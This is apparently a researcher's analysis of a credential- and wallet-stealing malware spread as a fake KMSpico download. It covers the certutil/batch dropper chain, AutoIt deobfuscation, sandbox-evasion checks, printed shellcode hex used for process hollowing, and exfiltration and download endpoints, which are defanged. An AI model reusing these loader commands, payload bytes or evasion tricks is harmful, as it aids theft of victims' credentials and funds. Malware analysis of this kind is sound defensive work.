Introduction

This post is about a malware I analyzed in the last few days:

At the time of the writing, the malware is actually undetected by most AV.

The malware was downloaded from: hxxp://52.200.29.1/~arichve/index.php?t=1612270025&q=Download%20KMSpico in a password-protected zip file:

Name: setup.exe
MD5: 393dbb217ad0524bf1af36988fd0d3fe
SHA256: aa777fea172dab773f075f80648c24dfdcb7997c6085917323c30c82fb988626
SHA512: 6dd6bd53bb9f17a9cd1aaf8d0f82f73d2aaca9becf010d7a7a4646a4cd01c5a6f3a211d09e94812fee5478d8c3c85fecc498d4ac8757dbaa037e166ba263fe89

It seems it is active from 25/01, and it seems to come from Russia. It is divided into different parts, and the first is an SFX.

At startup, it will decompress the resource CABINET (a cab archive indeed) inside %TEMP%\IXP000.TMP\.

The extracted files are:

  1. Attira.xlxs: base64 encoded file.
  2. San.vst: base64 encoded file.
  3. Pensa.vmw: binary file.
  4. Piu.xlxt: binary file.

1 - Attira.xlxs

Attira.xlxs is decoded into Baciocchi.tif and executed with the command cmd /c certutil -decode Attira.xlxs Baciocchi.tif & cmd < Baciocchi.tif It is an obfuscated batch file. Most of the instructions are merely invalid and inserted to confuse. The few good instructions are obfuscated by replacing each command’s character with a variable; the prompt will expand during runtime.

It is straightforward to remove all the invalid instructions by removing every match with this regex: ^(?!Set|%).*\r\n. To understand the content, it’s enough to execute it; the prompt will show the expanded values:

findstr /V /R "^xBNrnPvttDwqGEHkfIgKhBSsstAiSfcnxclqsMiuANCVJpmuvGVfWYlTIvMzgfjOiCFlzHTCBolAYWHoFzLkzuBvkssUqNRlANNuDgNPMzNONJUM$" Pensa.wmv  1>>Affluisce.com
certutil -decode San.vst f
start Affluisce.com f
ping 127.0.0.1 -n 30

The command above is ripping the file Affluisce.com from Pensa.vmw and decoding San.vst into f. At this point is starting Affluisce.com passing f as input argument. Affluisce.com is an AutoIt interpreter, and f is indeed an obfuscated AutoIt script.

2 - San.vst

The AutoIt script is obfuscated using control-flow flattening, string encryption, and variable renaming.

Deobfuscation

After a rapid review, it is possible to understand that a function is used a lot: aeNNZK. This function is indeed decoding obfuscated strings. I wrote a very simple AutoIt script to replace the calls to this function with the actual value. Is not needed to go this deeper in the analysis of the script, I just wanted to do it for fun:

$sFileName = '.\f'
$sOutputFileName = '.\f_plaintext_string.au3'

Func DeobfuscateString(a,b)
   ; Here goes the code of the function that does the decryption: aeNNZK
EndFunc

Func PerformDeobfuscation(ByRef $FileContent, $FirstCharacter)
   ; Call to the function have the syntax:
   ;  aennzk("text", number)

   $Start = $FirstCharacter
   $FunctionCall = StringInStr($FileContent, "aeNNZK", $STR_NOCASESENSE, 1, $Start)
   If $FunctionCall == 0 Then
     return 0
   EndIf

   $FirstParenthesis = StringInStr($FileContent, "(", $STR_NOCASESENSE, 1, $FunctionCall+1)
   $FirstQuote = StringInStr($FileContent, '"', $STR_NOCASESENSE, 1, $FunctionCall+1)
   $SecondQuote = StringInStr($FileContent, '"', $STR_NOCASESENSE, 1, $FirstQuote+1)
   $FirstComma = StringInStr($FileContent, ",", $STR_NOCASESENSE, 1, $SecondQuote+1)
   $SecondParenthesis = StringInStr($FileContent, ")", $STR_NOCASESENSE, 1, $FirstComma+1)

   $FirstParameter = StringMid($FileContent, $FirstQuote+1, $SecondQuote - $FirstQuote - 1)
   $SecondParameter = StringMid($FileContent, $FirstComma+1, $SecondParenthesis - $FirstComma - 1)
   $SecondParameter = StringStripWS($SecondParameter,   $STR_STRIPALL)
   $SecondParameter = Number($SecondParameter)

   $All = StringMid($FileContent, $FunctionCall, $SecondParenthesis - $FunctionCall + 1)
   $Computed = '"' & DeobfuscateString($FirstParameter, $SecondParameter) & '"'

   $FileContent = StringReplace($FileContent, $All, $Computed, 1)
   return $FunctionCall + StringLen($Computed)
EndFunc

$hFilehandle = FileOpen($sFileName)
$Content = FileRead($hFileHandle)
FileClose($hFileHandle)

$Position = 1
While $Position <> 0
   $Position = PerformDeobfuscation($Content, $Position)
Wend

$output = FileOpen($sOutputFileName, $FO_OVERWRITE)
FileWrite($output, $Content)
FileClose($output)

After running this script, the output will be much more understandable. The CFG flattening is nothing special; it is possible to recognize a straightforward pattern that will make it useless: only one branch is executed; the others are never.

I wrote another AutoIt script to remove this protection:

#NoTrayIcon

#include <Constants.au3>

$sFileName = '.\f_plaintext_string.au3'
$sOutputFileName = ".\f_cfg_reconstructed.au3"


Func PerformDeobfuscation(ByRef $FileContent, $FirstCharacter)

   $Start = $FirstCharacter
   $Switch = StringInStr($FileContent, "Switch", $STR_NOCASESENSE, 1, $Start)
   If $Switch == 0 Then
     return 0
   EndIf

   $VarBegin = StringInStr($FileContent, "$", $STR_NOCASESENSE, 1, $Switch+1)
   $VarEnd = StringInStr($FileContent, @CRLF, $STR_NOCASESENSE, 1, $VarBegin+1)
   $VarName = StringMid($FileContent, $VarBegin,  $VarEnd - $VarBegin + 1)

   $VarName = StringStripWS($VarName,   $STR_STRIPALL)
   $VarValueBegin = StringInStr($FileContent, $VarName, $STR_NOCASESENSE, 1, $FirstCharacter)
   $EqualSign = StringInStr($FileContent, '=', $STR_NOCASESENSE, 1, $VarValueBegin)
   $ValueEnd = StringInStr($FileContent, @CRLF, $STR_NOCASESENSE, 1, $EqualSign)

   $Value = StringMid($FileContent, $EqualSign + 1,$ValueEnd - $EqualSign + 1)
   $Value = Number($Value)

   $BranchStart = 'Case ' & $Value
   $BranchEnd = 'ExitLoop'

   $BranchStartPosition = StringInStr($FileContent, $BranchStart, $STR_NOCASESENSE, 1, $Switch) + StringLen($BranchStart)
   $BranchEndPosition = StringInStr($FileContent, $BranchEnd, $STR_NOCASESENSE, 1, $BranchStartPosition)
   $Instruction = StringMid($FileContent, $BranchStartPosition, $BranchEndPosition - $BranchStartPosition)

   $LastChar = StringInStr($FileContent, 'WEnd', $STR_NOCASESENSE, 1, $BranchEndPosition) + StringLen('WEnd')
   $Find = StringMid($FileContent, $VarValueBegin, $LastChar - $VarValueBegin)

   $FileContent = StringReplace($FileContent, $Find, $Instruction)
   return $VarValueBegin + StringLen($Instruction)
EndFunc


$hFilehandle = FileOpen($sFileName)
$Content = FileRead($hFileHandle)
FileClose($hFileHandle)

$Position = 1
While $Position <> 0
   $Position = PerformDeobfuscation($Content, $Position)
Wend

$output = FileOpen($sOutputFileName, $FO_OVERWRITE)
FileWrite($output, $Content)
FileClose($output)

After some small manual edit (mainly to remove unused variables/functions), the script started to look good. Inside the .zip folder, under 3. Temp Folder\f_deob_manual.au3 it is possible to see the deobfuscated version of the script.

Analysis - Antidebug

The malware has several kill-switch to complicate the analysis (not very effective if you can read the plain-text source code). The malware will exit if:

  • COMPUTERNAME is DESKTOP-QO5QU33
  • COMPUTERNAME is NfZtFbPfH
  • COMPUTERNAME is tz
  • COMPUTERNAME is ELICZ
  • File exist: C:\aaa_TouchMeNot_.txt
  • It is possible to ping: koBFsGVmqaNJBvEubZWGmaLtxgKmN.koBFsGVmqaNJBvEubZWGmaLtxgKmN
  • Assuming delta is the delta between two GetTickCount with a sleep in the middle, this condition is not respected: delta - 500 <= SleepMs <= delta + 500
  • If:
\[\sqrt{ (\sum_{n=0}^{42284070}(1/n^2)) * 6} > 3.141\]

I found this analysis of a similar malware here which suggest NfZtFbPfH, tz and ELICZ are common names of commercial AV/Sandboxes, whilst DESKTOP-QO5QU33 could be the name of the author’s PC ¯ \_(ツ)_/¯.

The check with GetTickCount can help detect sandboxes since these environments are often hooking Sleep not to waste time during the analysis waiting for it. In this case, delta will not be relatable to SleepMs.

The last one is fun: the infinite sum converges to \(\frac{\pi^2}{6} \approx 1.6449\) and the result of the sum above should be very close to this number. So, at the end, is checking if \(\sqrt{\frac{\pi^2}{6}*6} = \pi > 3.141\). I can only guess this is trying to exploit different approximations in floating-points instructions between normal PCs and sandboxes or emulators to detect these last. For example, I tried to execute this code in a python script, and the script crashed with a “division by zero” error.

Analysis - Behaviour

It’s easy at this point to figure out the behavior of some of the functions:

  • rlosorgyvobzhliun: anti-debug function.
  • tDQFdzMzJWonaRSNUVNfnZdcKaxNx: Get something from a c-like struct
  • IJzlfMsjjUAgSIaNXoCAh: Wrapper for GetProcAddress
  • QFNJvesbypwxcgOBAIt: Wrapper for VirtualProtect
  • KRYCFcgmvVbQHOKWFZ: Wrapper for NtUnmapViewOfSection

So what is the script doing? At first, it is waiting for a semaphore opened by setup.exe to be closed, this means setup.exe exited.

In this second instance, the malware is loading the file Piu.xlxs in memory and then deleting Piu.xlxs and f (the script itself) to cover its traces.

At this point, it’s executing a binary payload, embedded in the script as an hex string. This binary exists in two variants, depending on the processor’s bits. This is the 32 bit version, for example: 89 C0 55 31 C0 57 56 53 83 EC 08 8B 4C 24 1C 8B 7C 24 20 C7 01 00 00 00 00 C7 41 04 00 00 00 00 88 44 01 08 83 C0 01 3D 00 01 00 00 75 F2 8D 91 00 01 00 00 31 DB 89 54 24 04 89 C8 31 D2 89 1C 24 89 CE EB 32 C7 04 24 01 00 00 00 31 ED 0F B6 48 08 0F B6 1C 2F 8D 2C 19 8D 54 15 00 0F B6 D2 0F B6 6C 16 08 89 EB 88 58 08 83 C0 01 88 4C 16 08 3B 44 24 04 74 12 8B 0C 24 39 4C 24 24 7E C5 8B 2C 24 83 04 24 01 EB C5 83 C4 08 5B 5E 5F 5D C2 10 00 89 DB 55 57 56 53 83 EC 08 8B 54 24 24 8B 44 24 1C 8B 6C 24 20 85 D2 8B 18 8B 48 04 7E 5B 31 D2 89 5C 24 04 89 2C 24 8B 5C 24 04 83 C3 01 81 E3 FF 00 00 00 89 5C 24 04 0F B6 74 18 08 8B 6C 24 04 8D 0C 0E 0F B6 C9 0F B6 7C 08 08 89 FB 88 5C 28 08 89 F3 8D 34 37 81 E6 FF 00 00 00 88 5C 08 08 0F B6 74 30 08 8B 3C 24 89 F3 30 1C 17 83 C2 01 3B 54 24 24 75 B0 89 EB 89 18 89 48 04 83 C4 08 5B 5E 5F 5D C2 10 00

It is made by two different assembly functions, separated by a placeholder:

  • The first is starting at the beginning, right after 89 C0
  • The second begins after 89 DB

The malware puts this binary inside a memory allocated with VirtualAlloc using the flag PAGE_EXECUTE_READWRITE to later call the two functions.

The script calls them by using CallWindowProc for the 32-bit variant and by just invoking the pointer for the 64 bits variant. I’m not sure what the reason is; I guess it could be some limitation of AutoIt.

The actual calls in pseudocode would be similar to this:

char * PiuFileContent = ...; // Content of the file Piu.xlxs
char * PiuFileLenght = ...; // Lenght of the file Piu.xlxs
char FirstBuffer[272];
char SecondBuffer[] = { 0x68, 0x06, 0x15, 0x11 };
int SecondBufferLen = 4;
First(FirstBuffer, SecondBuffer, SecondBufferLen);
Second(FirstBuffer, PiuFileContent, PiuFileLenght);

Where First and Second are respectively the First and the Second assembly function. Without decompiling them, it’s clear the malware is somehow decoding/decrypting the content of Piu.xlxs. The content of SecondBuffer could be some Key but is not very interesting at this point.

The output is given in input to another function that has two parameters:

  • The first is the output
  • The second is explorer.exe by default.

It’s effortless at this point to understand where all of this is heading: process hollowing. This guess is made stronger by the fact that the function seems to embed a PE header parser.

Dumping the content of FirstBuffer after the call to Second shows that indeed it is an exe file.

3 - Piu.xlxs

After the AutoIt script successfully decodes Piu.xlxs, it injects its contents inside explorer.exe and jumps into it.

It is a non-obfuscated 32 bits GUI application. Looking at imports and strings, making some educated guess about what the malware is doing is possible. A couple of things stand out:

  • HTTP functions from wininet.dll
  • Lots of strings related to SQLite: the exe is embedding the SQLite library
  • CryptUnprotectData from crypt32

The guess at this point is that the software is reading the SQLite DB of browsers to send login credentials (or cookies) to a website. Since this DB is encrypted so that only a logged user can read it (using CryptProtectData from crypt32), also finding CryptUnprotectData in the imports confirm this guess.

After decompiling the malware, it turns out the guess was correct, but there’s also a lot more. In details, the operations done by the malware are:

  • Copying sensitive data (cookies and passwords) from browsers. It support:
    • Brave Browser
    • Chrome
    • Firefox
    • Opera
  • Collecting general information on the PC:
    • Name
    • CPU
    • RAM
    • GPU
    • Installed software
  • Capture a screenshot
  • Collect *.txt files on desktop
  • Collect wallets credentials from multiple wallets:
    • Waves Exchange
    • Ledger Live
    • Electrum
    • ElectronCash
    • Electrum-btcp
    • Jaxx
    • Exodus
    • MultiBitHD
    • Monero
    • Exodus Eden
    • Atomic
  • Download additional malware

In the end, it collects all this information inside a .zip file to upload it on these two websites with a POST request:

  • hxxp://fhjweheew21.top/index.php
  • hxxp://morteqabq02.top/index.php

The last step is to download additional malware from hxxp://ewsjaseq02.top/download.php?file=lv.exe and put it into %Temp%\School.exe.

A whois on these two domains shows that they are relatively new: Whois

4 - School.exe

This file is a Nullsoft scriptable installer that contains three other executables and a VB script:

Name: School.exe
MD5: 6d1b332ccbfaa72d689719d83ca0d4ad
SHA256: 20bb00941c700b886509fae81b7081847c4600f9cf9919270792a07e9bbb72aa
SHA512: 622cac4816b30c10d34f2def84d6df919bb283543fe5166a757f4de54c25a0c4b7ece0acc264b5dfa4d829cfbbb5d7d6388e29aeefbff22943eded27a73c7127
IoC: %Temp%\Pecado

VideoCard.vbs

This script takes the video card’s name and embeds it in the user-agent of an HTTP request to an IP logger website: hxxps://iplogger.org/1rUs77. My best guess is that the video card’s information can be used to identify PCs with a good graphic card to do cryptomining.

Executable files

The installer is dropping other 4 files:

  • 4_ico.exe
  • 6_ico.exe
  • vpn_ico.exe

All of them seems to be packed. Even if D.I.E. or other tools doesn’t seems to recognize it, it’s easy to figure out it’s Themida, and it’s easy to figure out they were packed at least with the following options enabled:

  • Anti-debugger detection
  • Advanced api-wrapping
  • Detect file/registry monitors
  • Entry point virtualization

My best guess is that this additional malware is some kind of backdoor that could be used by the author to do cryptomining or other GPU intensive application, but this could be the topic for another post.

To be continued